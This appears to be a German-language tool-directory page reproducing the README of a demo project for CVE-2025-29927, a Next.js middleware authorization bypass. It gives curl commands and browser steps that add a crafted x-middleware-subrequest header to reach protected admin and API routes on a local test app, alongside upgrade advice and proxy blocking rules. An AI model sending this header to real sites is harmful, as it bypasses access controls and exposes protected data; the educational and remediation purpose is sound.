Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
nextjs-cve-demo — Demonstriert die Middleware-Autorisierungs-Bypass-Schwachstelle in Next.js (CVE-2025-29927), die es unbefugten Benutzern ermöglicht, auf geschützte Informationen zuzugreifen. | Kitploit
Tools/GitHubGitHub/lstudlo/nextjs-cve-demo
Authentifizierung & AutorisierungSchwachstellenanalyseWebanwendungs-ExploitationAPI-SicherheitstestsFehlkonfigurationLernen & Bildung
GitHublstudlo/nextjs-cve-demo

nextjs-cve-demo

Demonstriert die Middleware-Autorisierungs-Bypass-Schwachstelle in Next.js (CVE-2025-29927), die es unbefugten Benutzern ermöglicht, auf geschützte Informationen zuzugreifen.

Repository anzeigen
23vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Beispiel: Authorization Bypass in Next.js Middleware (CVE-2025-29927)

Dieses Repo enthält ein Beispielprojekt, das die Middleware-Autorisierungsumgehung (CVE-2025-29927) in Next.js demonstriert. Diese Schwachstelle ermöglicht es nicht autorisierten Benutzern, auf geschützte Ressourcen zuzugreifen.

Schwachstellenübersicht

CVE-2025-29927 ist eine schwerwiegende Sicherheitslücke (CVSS-Score: 9.1), die das Middleware-System von Next.js betrifft. Angreifer können die Sicherheitsprüfungen der Middleware vollständig umgehen, indem sie einem HTTP-Request einen speziell gestalteten x-middleware-subrequest-Header hinzufügen.

Betroffene Versionen

  • Next.js 11.1.4 bis 13.5.6
  • Next.js 14.x-Versionen unter 14.2.25
  • Next.js 15.x-Versionen unter 15.2.3

Auswirkungen der Schwachstelle

  • Autorisierungsumgehung: Angreifer können ohne Authentifizierung auf geschützte Pfade (z. B. /admin) zugreifen
  • Umgehung der API-Sicherheit: Zugriff auf geschützte API-Endpunkte (z. B. /api/confidential) möglich
  • Umgehung von Sicherheits-Headern: Wenn Sicherheits-Header wie CSP oder HSTS in der Middleware gesetzt werden, werden auch diese umgangen

Voraussetzungen

  1. Node.js und npm sind installiert
  2. Per cd in das Verzeichnis wechseln und npm install ausführen, um die Abhängigkeiten zu installieren
  3. npm run dev ausführen, um den Next.js-Entwicklungsserver zu starten
  4. http://localhost:3000 im Browser öffnen, um die aktuelle Website anzuzeigen

Die Schwachstelle verstehen

Next.js verwendet den internen Header x-middleware-subrequest, um Endlosschleifen durch rekursive Middleware-Aufrufe zu verhindern. Dieser Header kann jedoch durch externe Requests ausgenutzt werden. Wenn ein Request diesen Header enthält und die maximale Rekursionstiefe (MAX_RECURSION_DEPTH) erreicht wird, überspringt Next.js die Ausführung der Middleware vollständig.

So reproduzieren Sie die Schwachstelle

Schritt 1: Geschützten Pfad normal aufrufen (wird blockiert)

Versuchen Sie zunächst, den geschützten Pfad normal aufzurufen:

root@kitploit:~
# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v

Erwartetes Ergebnis: Sie werden zur Anmeldeseite umgeleitet (302 Redirect auf /login)

root@kitploit:~
# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v

Erwartetes Ergebnis: Es wird ein 401 Unauthorized-Fehler zurückgegeben

Schritt 2: Middleware mithilfe der Schwachstelle umgehen

Verwenden Sie nun einen speziell gestalteten Header, um die Middleware zu umgehen:

root@kitploit:~
# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Erwartetes Ergebnis: Der Inhalt der Admin-Seite wird erfolgreich abgerufen (200 OK)

root@kitploit:~
# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Erwartetes Ergebnis: Der API-Zugriff gelingt und vertrauliche Informationen werden abgerufen (200 OK)

Schritt 3: Test im Browser

Sie können die Schwachstelle auch mit den Entwicklertools des Browsers testen:

  1. Entwicklertools des Browsers öffnen (F12)
  2. Zum Tab „Network“ wechseln
  3. Mit der Erweiterung ModHeader oder einem ähnlichen Tool einen Header hinzufügen:
    • Header-Name: x-middleware-subrequest
    • Header-Wert: middleware:middleware:middleware:middleware:middleware
  4. http://localhost:3000/admin/dashboard aufrufen
  5. Sie sollten den Inhalt der Admin-Seite sehen, anstatt umgeleitet zu werden

Erklärung der Schwachstelle

Wenn die Middleware einen Request mit dem x-middleware-subrequest-Header empfängt:

  1. Next.js geht davon aus, dass es sich um einen internen rekursiven Aufruf handelt
  2. Wenn der Header-Wert genügend Middleware-Marker enthält (5 Wiederholungen), wird das MAX_RECURSION_DEPTH-Limit ausgelöst
  3. Um Endlosschleifen zu vermeiden, überspringt Next.js die Ausführung der Middleware vollständig
  4. Der Request erreicht die Zielroute direkt und umgeht alle Sicherheitsprüfungen

Behebung

1. Next.js-Version aktualisieren

Aktualisieren Sie auf eine behobene Version:

  • 12.x: Upgrade auf 12.3.5 oder höher
  • 13.x: Upgrade auf 13.5.9 oder höher
  • 14.x: Upgrade auf 14.2.25 oder höher
  • 15.x: Upgrade auf 15.2.3 oder höher

2. Temporäre Gegenmaßnahmen

Wenn ein sofortiges Upgrade nicht möglich ist, können Requests mit dem x-middleware-subrequest-Header auf Ebene des Reverse-Proxys (Nginx, Apache usw.) blockiert werden:

Nginx-Konfigurationsbeispiel:

root@kitploit:~
location / {
    if ($http_x_middleware_subrequest) {
        return 403;
    }
    proxy_pass http://localhost:3000;
}

Apache-Konfigurationsbeispiel:

root@kitploit:~
RequestHeader unset x-middleware-subrequest

3. Tiefenverteidigung

Implementieren Sie neben der Middleware auch Authentifizierungsprüfungen in den Routen-Handlern:

root@kitploit:~
// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
    // 不要只依賴 middleware,在這裡也檢查認證
    if (!isAuthenticated(request)) {
        return new Response('Unauthorized', { status: 401 });
    }
    // ... 處理請求
}

Referenzen

  • Next.js Security Advisory (GHSA-f82v-jwr5-mffw)
  • CVE-2025-29927 Details
  • Next.js Middleware Documentation
Tool herunterladen